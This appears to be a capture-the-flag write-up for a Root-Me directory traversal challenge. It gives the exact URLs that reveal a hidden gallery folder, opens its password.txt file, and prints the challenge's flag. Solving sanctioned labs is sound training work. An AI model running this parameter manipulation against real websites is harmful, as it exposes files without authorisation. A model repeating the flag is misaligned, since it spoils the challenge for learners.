Post

Directory traversal

Statement

Find the hidden section of the photo galery.

Analyzation

Click on the navigate bar, the url is kind of

1
http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=categories

Delete the para

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http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=

There is a hidden section 86hwnX2r. Navigate into it

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http://challenge01.root-me.org/web-serveur/ch15/ch15.php?galerie=86hwnX2r

There is a password.txt file (see source code)

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galerie/86hwnX2r/password.txt

Solution

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http://challenge01.root-me.org/web-serveur/ch15/galerie/86hwnX2r/password.txt

The flag is

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kcb$!Bx@v4Gs9Ez
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